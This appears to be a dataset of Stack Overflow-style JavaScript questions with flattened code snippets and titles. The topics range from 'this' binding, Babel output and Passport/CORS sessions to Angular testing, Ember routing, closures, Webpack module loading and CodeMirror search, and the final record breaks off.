o.method ( ) ; ) , returns value of the specified field of the object . But when we create pointer to this method ( callback ) and invoke it , returns an undefined value , because 'this ' inside method 's scope now is global object.So , where is my 'this ' ? var o = { field : 'value ' , method : function ( ) { return this.field ; } } ; o.method ( ) ; // returns 'value'var callback = o.method ; callback ( ) ; // returns 'undefined ' cause 'this ' is global object",Where is my 'this ' ? Using objects method as a callback function JS : I am currently experiencing some issues with some touch detection in a plugin i am using . The plugin uses the following codeTo determine if it should use touchend or click event on some gallery navigation . However unfortunately when accessing the page using a Blackberry 9300 running os 6.0 its falsely reported as being a touch enabled device and event does n't fire.I 've checked the detection method used and its the same as the one in Modernizr.Does anyone have a solution to this issue ? touch = ( `` ontouchstart '' in window ) || window.DocumentTouch & & document instanceof DocumentTouch ; eventType = ( touch ) ? `` touchend '' : `` click '' ;,Touch detection Blackberry 9300 6.0 "JS : Since no browser I know implements currently the ES6 modules interface - but transpilers do - I tested babel with this simple exampleI just wanted to see how does it transpile these lines . To my surprise it produced following output : The last line looks mysterious to me - especially the ( 0 , _fileJs.getUsefulContents ) part , what is going on there ? What is the purpose of that ( 0 , ... ) on that line ? import { getUsefulContents } from `` file.js '' ; getUsefulContents ( `` http : //www.example.com '' , data = > { doSomethingUseful ( data ) ; } ) ; `` use strict '' ; var _fileJs = require ( `` file.js '' ) ; ( 0 , _fileJs.getUsefulContents ) ( `` http : //www.example.com '' , function ( data ) { doSomethingUseful ( data ) ; } ) ;",Babel 's funny import "JS : I 'm having a lay-out like this : The left column should scroll down ( till the next category ) when scroling to bottom . My HTML looks like this : But I have no idea on how to make sure the left content is scrolling down when the other content on the right is not . I this doable with some javascript code ? Can you help me ? < div class= '' wrapper gray-bg '' > < div class= '' centered '' > < div class= '' row '' > < div class= '' col-xs-12 col-sm-12 col-md-5 col-lg-4 information group '' > < h1 > Glas < /h1 > < hr > < p class= '' info '' > < /p > < p > Wil je een maximale < strong > lichtinval < /strong > en maximale < strong > isolatie < /strong > , maar hou je ook van een < strong > strak design < /strong > ? & nbsp ; Kies dan voor onze vlakke lichtkoepels met dubbelwandig of 3-dubbel glas . Ze zien er niet alleen geweldig uit , maar scoren op alle vlakken ongelooflijk goed. < /p > < p > < /p > < div class= '' buttons '' > < a href= '' '' class= '' button '' > bekijk referenties < /a > < a href= '' /nl/professional/contact '' class= '' button gray '' > Vraag offerte < /a > < /div > < /div > < div class= '' col col-xs-12 col-sm-12 col-md-7 col-lg-8 product-container flex-row '' > < div class= '' col-xs-12 col-md-12 col-lg-6 flex-container '' > < div class= '' product '' > < div class= '' image '' style= '' background-image : url ( 'https : //exmple.com/media/cache/product_thumbnail/uploads/fa5256f2004f96761a87427be6db1e8d2e2fd983.jpeg ' ) ; '' > < span > new < /span > < /div > < h1 > exmple iWindow2 ™ < /h1 > < hr > < h2 > Superisolerende lichtkoepel met 2-wandig glas < /h2 > < ul class= '' findplace '' > < li > Scoort erg goed qua isolatie : Ut-waarde 1,0 W/m²K < /li > < li > Strak , eigentijds design < /li > < li > Doorvalveilig < /li > < li > Slanke omkadering , slechts 28 mm < /li > < li > Vaste of opengaande uitvoering < /li > < /ul > < div class= '' bottom-buttons '' > < a href= '' /nl/professional/product/exmple-iwindow2 # prijs '' class= '' col col-xs-3 col-md-6 col-lg-3 '' > < i class= '' fa fa-euro '' > < /i > < p > Prijs < /p > < /a > < a href= '' /nl/professional/product/exmple-iwindow2 # technische_specs '' class= '' col col-xs-3 col-md-6 col-lg-3 custom '' > < i class= '' fa fa-drafting-compass '' > < /i > < p > Technische specs < /p > < /a > < a href= '' /nl/professional/product/exmple-iwindow2 # brochures '' class= '' col col-xs-3 col-md-6 col-lg-3 '' > < i class= '' fa fa-file-text '' > < /i > < p > Brochures < /p > < /a > < a href= '' /nl/professional/product/exmple-iwindow2 # montage '' class= '' col col-xs-3 col-md-6 col-lg-3 '' > < i class= '' fa fa-map '' > < /i > < p > Montage < /p > < /a > < /div > < /div > < /div > < div class= '' col-xs-12 col-md-12 col-lg-6 flex-container '' > < div class= '' product '' > < div class= '' image '' style= '' background-image : url ( 'https : //exmple.com/media/cache/product_thumbnail/uploads/e2b4180f8d9109c79350817d46e9c184080e8353.jpeg ' ) ; '' > < span > new < /span > < /div > < h1 > exmple iWindow3 ™ < /h1 > < hr > < h2 > Superisolerende lichtkoepel met 3-wandig glas < /h2 > < ul class= '' findplace '' > < li > Scoort erg goed qua isolatie : Ut-waarde 0,5 W/m²K < /li > < li > Strak , eigentijds design < /li > < li > Doorvalveilig < /li > < li > Slanke omkadering , slechts 55mm < /li > < li > Vaste of opengaande uitvoering < /li > < /ul > < div class= '' bottom-buttons '' > < a href= '' /nl/professional/product/exmple-iwindow3 # prijs '' class= '' col col-xs-3 col-md-6 col-lg-3 '' > < i class= '' fa fa-euro '' > < /i > < p > Prijs < /p > < /a > < a href= '' /nl/professional/product/exmple-iwindow3 # technische_specs '' class= '' col col-xs-3 col-md-6 col-lg-3 custom '' > < i class= '' fa fa-drafting-compass '' > < /i > < p > Technische specs < /p > < /a > < a href= '' /nl/professional/product/exmple-iwindow3 # brochures '' class= '' col col-xs-3 col-md-6 col-lg-3 '' > < i class= '' fa fa-file-text '' > < /i > < p > Brochures < /p > < /a > < a href= '' /nl/professional/product/exmple-iwindow3 # montage '' class= '' col col-xs-3 col-md-6 col-lg-3 '' > < i class= '' fa fa-map '' > < /i > < p > Montage < /p > < /a > < /div > < /div > < /div > < /div > < /div > < /div > < /div >",Scroll div next to other divs "JS : I 'm trying to create a custom vertical image carousel because I ca n't use any plugins out there due to the js events attached to the images which I need to retain and the only way that would work for me is to create custom carousel.FunctionalitiesImage carousel does have 3 equal sizes in the viewport.Image carousel does have next/previous button which allow you to view/select more images.The next/previous button allows only one step at a time , meaning it will not select the next set of images and display it in the viewport . Carousel offers you to select any images in the viewport and this will sync when the next/prev button is clickedAll functionalities listed above is implemented already.PROBLEMThe last image will not snap/stop before the next button , as it will create blank space in between.JS CodeFiddle : https : //jsfiddle.net/qrvrdjch/6/Any help would be greatly appreciated : ) $ ( function ( ) { var image_height = 0 ; var gallery_offset = 0 ; var image_count = $ ( 'img.thumbnail ' ) .length ; var click_count = 0 ; var image_height = 0 ; var last_images_count = 0 ; $ ( '.gallery-container a ' ) .click ( function ( ) { $ ( '.gallery-container a ' ) .removeClass ( 'active ' ) $ ( this ) .addClass ( 'active ' ) ; } ) ; jQuery ( '.thumbnail ' ) .each ( function ( ) { $ ( this ) .on ( 'load ' , function ( ) { image_height = $ ( this ) .parent ( ) .outerHeight ( ) ; } ) ; image_height = $ ( this ) .parent ( ) .outerHeight ( ) ; } ) // Disable arrows if the images count is 3 below if ( image_count < = 3 ) { $ ( '.product-more-pictures .up , .product-more-pictures .down ' ) .addClass ( 'disabled ' ) click_count = 0 ; } // Set the first image as active jQuery ( '.gallery-container img.thumbnail ' ) .first ( ) .click ( ) ; var thumb_active = jQuery ( '.gallery-container .active ' ) ; $ ( '.gallery-container a ' ) .on ( 'click ' , function ( ) { thumb_active = jQuery ( '.gallery-container .active ' ) ; } ) ; $ ( '.product-more-pictures .down ' ) .on ( 'click ' , function ( e ) { $ ( '.product-more-pictures .up ' ) .removeClass ( 'disabled ' ) if ( thumb_active.nextAll ( ' : lt ( 1 ) ' ) .length ) { thumb_active.nextAll ( ' : lt ( 1 ) ' ) .children ( ) .click ( ) thumb_active = jQuery ( '.gallery-container .active ' ) ; } if ( ! thumb_active.next ( ) .length ) { $ ( this ) .addClass ( 'disabled ' ) } else { $ ( this ) .removeClass ( 'disabled ' ) ; } if ( click_count < image_count ) { click_count = click_count + 1 ; update_gallery ( 'down ' ) ; } } ) ; $ ( '.product-more-pictures .up ' ) .on ( 'click ' , function ( ) { $ ( '.product-more-pictures .down ' ) .removeClass ( 'disabled ' ) if ( thumb_active.prevAll ( ' : lt ( 1 ) ' ) .length ) { thumb_active.prevAll ( ' : lt ( 1 ) ' ) .children ( ) .click ( ) thumb_active = jQuery ( '.gallery-container .active ' ) ; } if ( ! thumb_active.prev ( ) .length ) { $ ( this ) .addClass ( 'disabled ' ) } else { $ ( this ) .removeClass ( 'disabled ' ) ; } if ( click_count > 0 ) { click_count = click_count - 1 ; update_gallery ( 'up ' ) ; } } ) ; function update_gallery ( direction ) { gallery_offset = click_count * image_height ; last_images_count = thumb_active.nextAll ( ) .length ; $ ( `` .gallery-container '' ) .animate ( { 'top ' : '- ' + gallery_offset + 'px ' } , 800 ) ; } } ) ;",Create vertical image carousel "JS : I search a lot on internet but I can not find the answer . I am using my frontend on one port and my backend in another . I use cors to enable the requests and this works . But when I implement passport js and sessions with mongodb whit does not work , it means when I try to get the user with req.user this is undefined . Here is my index.js code my passport js is Here i define my auth , serialize and deserialize user . My Auth and serialize is working well but deserialize not I tried also cookie session instead mongo db but I guess is not the solution . The problem is the cors , for some reason passport dont read the session . Also I tried to enable in coors credentials and specify the origin but deserialize still not set the userI hope you can help me because I can not get it work Thanks ! ! app.use ( cors ( ) ) ; app.use ( session ( { resave : false , saveUninitialized : false , secret : 's3cr3et ' , store : new MongoStore ( { url : process.env.MONGO_URI } ) } ) ) ; app.use ( passport.initialize ( ) ) ; app.use ( passport.session ( ) ) ; passport.serializeUser ( function ( user , done ) { done ( null , user.id ) ; } ) ; passport.deserializeUser ( function ( id , done ) { User.findById ( id , ( err , user ) = > { done ( null , user ) ; } ) ; } ) ; passport.use ( new LocalStrategy ( { usernameField : 'email ' } , ( email , password , done ) = > { User.findOne ( { email : email.toLowerCase ( ) } , ( err , user ) = > { if ( err ) { return done ( err ) ; } if ( ! user ) { return done ( null , false , { error : 'Invalid credentials . ' } ) ; } user.comparePassword ( password , ( err , isMatch ) = > { if ( err ) { return done ( err ) ; } if ( isMatch ) { return done ( null , user ) ; } return done ( null , false , { error : 'Invalid credentials . ' } ) ; } ) ; } ) ; } ) ) ; app.use ( cors ( { credentials : true , origin : [ 'http : //localhost:8080 ' ] } ) ) ;",passport js sessions does not work with Cors "JS : I have a JavaScript function to call ajax . Now I need to add time out in this function like while calling service took more than defile time ajax call should time out and display a default message . I do n't want to use Jquery in it.here is my code : AJAX = function ( url , callback , params ) { var dt = new Date ( ) ; url = ( url.indexOf ( ' ? ' ) == -1 ) ? url + ' ? _ ' + dt.getTime ( ) : url + ' & _ ' + dt.getTime ( ) ; if ( url.indexOf ( 'callback= ' ) == -1 ) { ajaxCallBack ( url , function ( ) { if ( this.readyState == 4 & & this.status == 200 ) { if ( callback ) { if ( params ) { callback ( this.responseText , params ) ; } else { callback ( this.responseText ) ; } } } } ) ; } else { var NewScript = d.createElement ( `` script '' ) ; NewScript.type = `` text/javascript '' ; NewScript.src = url + ' & _ ' + Math.random ( ) ; d.getElementsByTagName ( 'head ' ) [ 0 ] .appendChild ( NewScript ) ; } } , ajaxCallBack = function ( url , callback ) { var xmlhttp ; if ( window.XMLHttpRequest ) { xmlhttp = new XMLHttpRequest ( ) ; } else { xmlhttp = new ActiveXObject ( `` Microsoft.XMLHTTP '' ) ; } xmlhttp.onreadystatechange = callback ; xmlhttp.open ( `` GET '' , url , true ) ; xmlhttp.send ( ) ; }",set time out in ajax call while using core javascript "JS : I faced with strange behaviour when using eval in JS.OUTPUT : Why using eval explicitly captures the x but global [ 'eval ' ] does n't ? And even though global [ 'eval ' ] does n't capture x , why it 's unable to see after eval , which already captured x ? var f = function ( ) { var x = 10 ; return function ( ) { eval ( 'console.log ( x ) ; ' ) ; window [ 'eval ' ] ( 'console.log ( x ) ; ' ) ; } } ; f ( ) ( ) ; 10undefined:1console.log ( x ) ; ^ReferenceError : x is not defined",Javascript variable capture "JS : I would like to create an integration test and hit my actual service ( not a mock ) . How would I do that in Angular 2 ? Here is what I have for my observable service : How to I ensure that an object is returned from the service ? import { Injectable } from ' @ angular/core ' ; import { Http , Response , RequestOptions , Headers } from ' @ angular/http ' ; import { Observable } from 'rxjs/Observable ' ; import 'rxjs/add/operator/do ' ; import 'rxjs/add/operator/catch ' ; import 'rxjs/add/operator/map ' ; import 'rxjs/add/observable/throw ' ; import { UserDetail } from '../models/user-detail.model ' ; export class GetUserDetailService { private _userDetailUrl : string = 'http : //ourserver/api/GetCurrentUserDetail ' ; constructor ( private _http : Http ) { } getUserDetail ( ) : Observable < UserDetail > { return this._http.get ( this._userDetailUrl ) .map ( ( response : Response ) = > < UserDetail > response.json ( ) ) .do ( data = > console.log ( 'All : ' + JSON.stringify ( data ) ) ) .catch ( this.handleError ) ; } private handleError ( error : Response ) { console.error ( error ) ; return Observable.throw ( error.json ( ) .error || 'Server error ' ) ; } } // Third party importsimport { Observable } from 'rxjs/Observable ' ; import { HttpModule } from ' @ angular/http ' ; // Our importsimport { GetUserDetailService } from './get-user-detail.service ' ; import { UserDetail } from '../models/user-detail.model ' ; describe ( 'GetUserDetailService ' , ( ) = > { beforeEach ( ( ) = > { // What do I put here ? } ) ; it ( 'should get the user detail ' , ( ) = > { // What do I put here ? } ) ; } ) ;",Angular 2 Observable Service Integration Test "JS : I am using a json file pulled from the server to configure my website , and to tell each page what it 's title is . The json file looks like this : which is used to create a navigation bar with this code : which is then used in the template : All of this works great so far.So here 's my question : I want the route mapping done with App.Router.map to be done programatically , using this json object to determine which routes should exist.How on earth should I do this ? I 've hunted around the documentation , and then tried this : which gives the following console readout : [ { `` route '' : `` student '' , `` title '' : `` Student Info Page '' } , { `` route '' : `` payments '' , `` title '' : `` Payments and Pricing '' } , { `` route '' : `` policy '' , `` title '' : `` Mine '' } , { `` route '' : `` biography '' , `` title '' : `` About Me '' } ] App.MenuController = Ember.ArrayController.create ( ) ; $ .get ( 'config.json ' , function ( data ) { App.MenuController.set ( 'content ' , data ) ; } ) ; { { # each App.MenuController } } { { # varLink route this } } { { title } } { { /varLink } } { { /each } } $ .get ( 'config.json ' , function ( data ) { App.MenuController.set ( 'content ' , data ) ; for ( var i = 0 ; i < data.length ; i++ ) { App.Router.map ( function ( ) { var r = data [ i ] .route ; console.log ( r ) ; this.route ( r ) ; } ) ; } } ) ; student app.js:9payments app.js:9policy app.js:9biography app.js:9Assertion failed : The attempt to linkTo route 'student ' failed . The router did not find 'student ' in its possible routes : 'index ' ember.js:361Uncaught Error : There is no route named student.index ember.js:23900",Programmatically create new routes in Ember "JS : I have an Angular page with a form for adding people , and a button ( outside this form ) to submit the list of people.When the user focuses on a text input in the form , and then clicks to submit the list , the validation error from the text input appears but the submit event never occurs.An example of this issue here : http : //plnkr.co/edit/6Z0UUs-To replicate : Click on the text input but leave blankClick submitCurrent behavior : `` Name is required '' appears thanks to the validation . Clicking 'Submit ' again displays the 'submitted ' alert.Expected behavior : `` Name is required '' appears thanks to the validation and the 'submitted ' alert appears.Desired behavior : The 'submitted ' alert appears and I add some code to vm.submit ( ) to hide the 'Name is required ' validation message as it 's not important when the list is submitted.I 've observed that removing the ng-messages block fixes the issue , but I do need to show a validation message . Using a more basic directive ( ng-show ) to show the validation message instead does not help.Any insights into what I 'm doing wrong , or workarounds to achieve my desired behavior , would be great ! < div ng-controller= '' MyCtrl as vm '' > < form name= '' form1 '' novalidate= '' '' > < input type= '' text '' name= '' field1 '' ng-model= '' vm.name '' required > < div ng-messages= '' form1.field1. $ error '' ng-if= '' form1.field1. $ touched '' > < label ng-message= '' required '' > Name is required < /label > < /div > < ! -- This form adds a person to a list . I 've not included this code to keep the example simple < input type= '' submit '' value= '' Add person '' > -- > < /form > < button ng-click= '' vm.submit ( ) '' > Submit list < /button > < /div > angular.module ( 'myApp ' , [ ] ) .controller ( 'MyCtrl ' , function ( ) { var vm = this ; vm.name = `` ; vm.submit = function ( ) { alert ( 'submitted ' ) ; } ; } ) ;",Angular blur validation preventing submission of separate form "JS : I 'm curious as to how memory is handled with variables inside closures . Take this code for example -My validation function is called whenever the user clicks on a button . My question is , does the txtName variable stay in memory as long as the page is active , or is it GC'ed and initialized every time the method validation is called ? Is there something more to it then that ? What 's better performance wise ? function iAmAClosure ( ) { var txtName = document.getElementById ( 'name ' ) ; function validation ( ) { if ( txtName.value.length === 0 ) { return false ; } return true ; } document.getElementById ( 'submit ' ) .onclick = function ( ) { return validation ( ) ; } }",JavaScript closures and memory management "JS : See how in the plunker below , when you click on link one or link three , the pages do not load at the top of the page so you can not see the page title , you have to actually scroll up to see the page title . Why is this ? How can I make it so it loads the page at the top , like a regular webpage ? Here 's the plunker.Here 's my js : Here 's my html ( see the plunker link above for the injected pages ) . var routerApp = angular.module ( 'routerApp ' , [ 'ui.router ' , 'ui.bootstrap ' ] ) ; routerApp.config ( function ( $ stateProvider , $ urlRouterProvider , $ locationProvider ) { $ urlRouterProvider.otherwise ( '/home ' ) ; $ locationProvider.html5Mode ( false ) .hashPrefix ( `` '' ) ; $ stateProvider // HOME VIEW ======================================== .state ( 'home ' , { url : '/home ' , templateUrl : 'partial-home.html ' // onEnter : scrollContent } ) // ONE VIEW ======================================== .state ( 'one ' , { url : '/one ' , templateUrl : 'partial-one.html ' } ) // TWO VIEW ======================================== .state ( 'two ' , { url : '/two ' , templateUrl : 'partial-two.html ' } ) // THREE VIEW ======================================== .state ( 'three ' , { url : '/three ' , templateUrl : 'partial-three.html ' } ) } ) ; < ! DOCTYPE html > < html > < head > < ! -- CSS -- > < script data-require= '' jquery @ * '' data-semver= '' 2.1.4 '' src= '' http : //code.jquery.com/jquery-2.1.4.min.js '' > < /script > < link rel= '' stylesheet '' href= '' //netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css '' / > < link rel= '' stylesheet '' href= '' style.css '' / > < ! -- JS -- > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.4/js/bootstrap.min.js '' > < /script > < script src= '' http : //code.angularjs.org/1.2.13/angular.js '' > < /script > < script src= '' //cdnjs.cloudflare.com/ajax/libs/angular-ui-router/0.2.8/angular-ui-router.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/angular-ui-bootstrap/0.13.0/ui-bootstrap-tpls.js '' > < /script > < script src= '' script.js '' > < /script > < ! -- // base path for angular routing -- > < ! -- < base href= '' / '' / > -- > < /head > < body ng-app= '' routerApp '' > < ! -- NAVIGATION -- > < ! -- Fixed navbar -- > < nav class= '' navbar navbar-inverse navbar-fixed-top '' > < div class= '' container '' > < div class= '' navbar-header '' > < button type= '' button '' class= '' navbar-toggle collapsed '' data-toggle= '' collapse '' data-target= '' # navbar '' aria-expanded= '' false '' aria-controls= '' navbar '' > < span class= '' sr-only '' > Toggle navigation < /span > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < /button > < a class= '' navbar-brand '' ui-sref= '' home '' > Some web page somewhere < /a > < /div > < div id= '' navbar '' class= '' navbar-collapse collapse '' > < ul class= '' nav navbar-nav '' > < li > < a ui-sref= '' one '' > Link One < /a > < /li > < li > < a ui-sref= '' two '' > Link Two < /a > < /li > < li > < a ui-sref= '' three '' > Link Three < /a > < /li > < /ul > < /div > < ! -- /.nav-collapse -- > < /div > < /nav > < ! -- End Fixed navbar -- > < ! -- MAIN CONTENT -- > < ! -- Inject Content Here -- > < div class= '' container '' style= '' padding-top:68px ; '' > < div ui-view > < /div > < /div > < /body > < /html >","Angular injected pages with long content make entire page load below the top of the page , cutting off the page title" "JS : I 'm barely starting JavaScript and I 'm wondering if there are any geniuses out there that can help me understand this line by line ? I 'm just beginner , but if you can teach me , then you 're awesome . I know about prototypes , call , shift , apply a bit so you can skip the beginner parts ( though I think you should n't so other who are barely getting into JS may learn how ) .Notice : I know that there 's a somewhat `` similar code '' asking a similar question here but I 'm asking line by line explanation and they 're not ( not duplicate ) ( also , you can skip line 8 & 9 ) : ) 1 : Function.prototype.bind = function ( ) { 2 : var fn = this , 3 : args = Array.prototype.slice.call ( arguments ) , 4 : object = args.shift ( ) ; 5 : return function ( ) { 6 : return fn.apply ( object,7 : args.concat ( Array.prototype.slice.call ( arguments ) ) ) ; 8 : } ; 9 : } ;",Can any genius tell me what 's going on in this small code ? From Secrets of the JavaScript Ninja "JS : I 'm trying to get audio to work outside the app ( I 'm using the HTML5 , Javascript approach ) in Windows 8 , so when you close the app the sound continues to work , from what I have researched on here and on other sites and I believe this is called in Windows 8 'background audio , I 've followed all the tutorials on Microsoft Developer site , and have declared background audio in the app manifest as so : and where I have added the msAudioCategory= '' BackgroundCapableMedia '' controls= '' controls '' to my HTML5 audio tag as so : and I 've also added this to my default.js file which was apprently needed , although I 'm not sure what this doesI have also tried changing the ID in the last part to have a hash tag as well but still when I press the start button to go back home the audio stops , am I doing something wrong ? Thanks < Extension Category= '' windows.backgroundTasks '' StartPage= '' default.html '' > < BackgroundTasks > < Task Type= '' audio '' / > < Task Type= '' controlChannel '' / > < /BackgroundTasks > < /Extension > < audio id= '' playback '' msAudioCategory= '' BackgroundCapableMedia '' controls= '' controls '' > < /audio > // Declare a variable that you will use as an instance of an objectvar mediaControls ; // Assign the button object to mediaControlsmediaControls = Windows.Media.MediaControl ; // Add an event listener for the Play , Pause Play/Pause toggle buttonmediaControls.addEventListener ( `` playpausetogglepressed '' , playpausetoggle , false ) ; mediaControls.addEventListener ( `` playpressed '' , playbutton , false ) ; mediaControls.addEventListener ( `` pausepressed '' , pausebutton , false ) ; // The event handler for the play/pause buttonfunction playpausetoggle ( ) { if ( mediaControls.isPlaying === true ) { document.getElementById ( `` playback '' ) .pause ( ) ; } else { document.getElementById ( `` playback '' ) .play ( ) ; } } // The event handler for the pause buttonfunction pausebutton ( ) { document.getElementById ( `` playback '' ) .pause ( ) ; } // The event handler for the play buttonfunction playbutton ( ) { document.getElementById ( `` playback '' ) .play ( ) ; }",Background Audio in Windows 8 App "JS : JavaScript is a prototyped-based language , and yet it has the ability to mimic some of the features of class-based object-oriented languages . For example , JavaScript does not have a concept of public and private members , but through the magic of closures , it 's still possible to provide the same functionality . Similarly , method overloading , interfaces , namespaces and abstract classes can all be added in one way or another.Lately , as I 've been programming in JavaScript , I 've felt like I 'm trying to turn it into a class-based language instead of using it in the way it 's meant to be used . It seems like I 'm trying to force the language to conform to what I 'm used to.The following is some JavaScript code I 've written recently . It 's purpose is to abstract away some of the effort involved in drawing to the HTML5 canvas element.The code works exactly like it should for a user of Shape.Circle , but it feels like it 's held together with Duct Tape . Can somebody provide some insight on this ? /*Defines the Drawing namespace . */var Drawing = { } ; /*Abstract base which represents an element to be drawn on the screen . @ param The graphical context in which this Node is drawn . @ param position The position of the center of this Node . */Drawing.Node = function ( context , position ) { return { /* The method which performs the actual drawing code for this Node . This method must be overridden in any subclasses of Node . */ draw : function ( ) { throw Exception.MethodNotOverridden ; } , /* Returns the graphical context for this Node . @ return The graphical context for this Node . */ getContext : function ( ) { return context ; } , /* Returns the position of this Node . @ return The position of this Node . */ getPosition : function ( ) { return position ; } , /* Sets the position of this Node . @ param thePosition The position of this Node . */ setPosition : function ( thePosition ) { position = thePosition ; } } ; } /*Define the shape namespace . */var Shape = { } ; /*A circle shape implementation of Drawing.Node . @ param context The graphical context in which this Circle is drawn . @ param position The center of this Circle . @ param radius The radius of this circle . @ praram color The color of this circle . */Shape.Circle = function ( context , position , radius , color ) { //check the parameters if ( radius < 0 ) throw Exception.InvalidArgument ; var node = Drawing.Node ( context , position ) ; //overload the node drawing method node.draw = function ( ) { var context = this.getContext ( ) ; var position = this.getPosition ( ) ; context.fillStyle = color ; context.beginPath ( ) ; context.arc ( position.x , position.y , radius , 0 , Math.PI*2 , true ) ; context.closePath ( ) ; context.fill ( ) ; } /* Returns the radius of this Circle . @ return The radius of this Circle . */ node.getRadius = function ( ) { return radius ; } ; /* Sets the radius of this Circle . @ param theRadius The new radius of this circle . */ node.setRadius = function ( theRadius ) { radius = theRadius ; } ; /* Returns the color of this Circle . @ return The color of this Circle . */ node.getColor = function ( ) { return color ; } ; /* Sets the color of this Circle . @ param theColor The new color of this Circle . */ node.setColor = function ( theColor ) { color = theColor ; } ; //return the node return node ; } ;",Is it bad practice to apply class-based design to JavaScript programs ? "JS : From the jQuery docs javascript guide : Because local scope works through functions , any functions defined within another have access to variables defined in the outer function : Console triggered with debugger : Since variables defined in the outer function can be used by the inner function ( E.g . x or y ) , why is the debugger not able to call the y variable ? I suspect people will answer that the debugger only shows variables defined in the most inner/local scope . The reason for this being that otherwise no distinction could be made using the debugger between the inner and outer scope when inspecting a variable using the debugger in the inner function.Additionally , every variable defined in an outer scope which is executed in the inner scope allows the debugger to access it.But if that is the case , is n't there some way to still call the variable y from the console inside the inner function ? ( using a notation respectful of scope , e.g . outer.y ) Edit : Debuggers in other languagesApparently this behavior of a debugger is not limited to javascript . The Python debugger pdb for example behaves similarly : function outer ( ) { var x = 5 ; var y = 2 ; function inner ( ) { console.log ( x ) ; debugger ; // < -- ! ! ! } inner ( ) ; } outer ( ) > x5 > yReferenceError : y is not defined def outer ( ) : x = 5 y = 2 def inner ( ) : print x import pdb ; pdb.set_trace ( ) inner ( ) outer ( ) ( Pdb ) x5 ( Pdb ) y*** NameError : ' y ' is not defined",Calling variables defined in outer function from inner function with debugger "JS : Similar to this question , my HTML looks like this : I always assume , as this doc says , that onload is given no arguments . However , I named the argument , and did some deep inspection , and found that I got an object looking like this : Anyone have any idea what that thing is , or what its classname might be ? < body id= '' body '' onload= '' loader ( ) '' > < /body > { originalTarget : DOM , preventCapture : function , target : DOM , cancelable : Bool , currentTarget : DOM , timeStamp : Int , bubbles : Bool , type : String , eventPhase : Int , preventDefault : function , initEvent : function , stopPropagation : function , CAPTURING_PHASE : Int , AT_TARGET : Int , BUBBLING_PHASE : Int , explicitOriginalTarget : DOM , preventBubble : function , isTrusted : Bool , MOUSEDOWN : Int , MOUSEUP : Int , MOUSEOVER : Int , // ... ( more constants ) }",Javascript : What argument does the function specified in body 's onload event get called with ? "JS : I 'm trying to create basic angular app and it throws an errorError : What I did wrong ? < html > < head > < script type= '' text/javascript '' src= '' https : //ajax.googleapis.com/ajax/libs/angularjs/1.4.3/angular.min.js '' > < /script > < script type= '' text/javascript '' > var angularApp = angular.module ( 'angularApp ' , [ ] ) ; angularApp.controller ( 'Ctrl ' , function ( $ scope ) { } ) ; < /script > < /head > < body > < div ng-app ng-controller= '' Ctrl '' > < /div > < /body > < /html > Error : [ ng : areq ] http : //errors.angularjs.org/1.4.3/ng/areq ? p0=Ctrl & p1=not % 20a % 20function % 2C % 20got % 20undefined at Error ( native ) at https : //ajax.googleapis.com/ajax/libs/angularjs/1.4.3/angular.min.js:6:416 at Sb ( https : //ajax.googleapis.com/ajax/libs/angularjs/1.4.3/angular.min.js:22:18 ) at Qa ( https : //ajax.googleapis.com/ajax/libs/angularjs/1.4.3/angular.min.js:22:105 ) at https : //ajax.googleapis.com/ajax/libs/angularjs/1.4.3/angular.min.js:79:497 at x ( https : //ajax.googleapis.com/ajax/libs/angularjs/1.4.3/angular.min.js:59:501 ) at S ( https : //ajax.googleapis.com/ajax/libs/angularjs/1.4.3/angular.min.js:60:341 ) at g ( https : //ajax.googleapis.com/ajax/libs/angularjs/1.4.3/angular.min.js:54:384 ) at https : //ajax.googleapis.com/ajax/libs/angularjs/1.4.3/angular.min.js:53:444 at https : //ajax.googleapis.com/ajax/libs/angularjs/1.4.3/angular.min.js:19:481 '",Simple angular app is not working "JS : Say I have an HTML file like so : as the comment says in the script tag , I am trying to figure out : how I can import/require something from inside the Webpack build from just about any old JavaScript code ? Is it possible ? How ? ... I could set global variables in the build , but I am wondering if there is another better way.Note : I would be willing to use Browserify instead of Webpack to create the bundle/build , if that makes it easier to require modules from the build , from outside of the build.I tried doing this with RequireJS and SystemJS - these two tools would make it much easier to do what I want to do . But apparently it 's pretty hard to create deep builds from NPM packages with RequireJS or SystemJS , and in this case I need a deep build that includes many NPM deps . I even tried TypeScript transpiler to create a deep build , to no avail . So it seems like it 's got ta be either Browserify or Webpack , but I am open to anything that might work.Note that if we used AMD or SystemJS , this would be straightforward : But using Webpack/Browserify makes it a little trickier to do what I want to do . < ! DOCTYPE html > < meta charset= '' UTF-8 '' > < title > Suman tests < /title > < head > < script src= '' ../dist/suman.js '' > < /script > < -- webpack build here // how can I do a synchronous require ( ) here , from something // inside the Webpack build ? < /script > < /head > < body > < /body > < /html > < head > < script src= '' ../dist/suman-amd.js '' > < /script > < -- AMD build here < script src= '' ../dist/suman-system.js '' > < /script > < -- SystemJS build here < script > // using AMD define ( [ '/a-module-from-amd-build ' ] , function ( myMod ) { // my unique code goes here } ) ; // or with SystemJS System.register ( 'my-module ' , [ ' a-module-from-system-build ' ] , function ( myMod ) { // my unique code goes here } ) ; < /script > < /head >","How to do a synchronous require of Webpack build module , from *outside* of Webpack build" "JS : Let 's say I have the following simple page with two CodeMirror instances : and that I 've includedcodemirror/addon/search/searchcodemirror/addon/search/searchcursorcodemirror/addon/dialog/dialogEach CodeMirror instance now has their own search handler when focused on the editor ( triggered via ctrl/cmd-f ) . How could I implement search/replace that works across multiple CodeMirror instances ? There 's at least a way to execute a find on each editor : editor.execCommand . I 'm not seeing a way to pass through to it , or to query about what results are available.CodePen with example code and importsGitHub issue for project wanting to use this , nteract.In CodeMirror issue Marijn states `` You 'll have to code that up yourself . `` , which is fair -- I 'm unsure about how to approach this . const body = document.querySelector ( 'body ' ) const title = document.createElement ( 'h1 ' ) title.textContent = 'This is a document with multiple CodeMirrors'body.appendChild ( title ) ; const area1 = document.createElement ( 'textarea ' ) body.appendChild ( area1 ) const editor1 = CodeMirror.fromTextArea ( area1 , { lineNumbers : true , } ) const segway = document.createElement ( 'h2 ' ) segway.textContent = 'Moving on to another editor'body.appendChild ( segway ) const area2 = document.createElement ( 'textarea ' ) body.appendChild ( area2 ) const editor2 = CodeMirror.fromTextArea ( area2 , { lineNumbers : true , } )",How can I search across multiple codemirror instances ? "JS : I 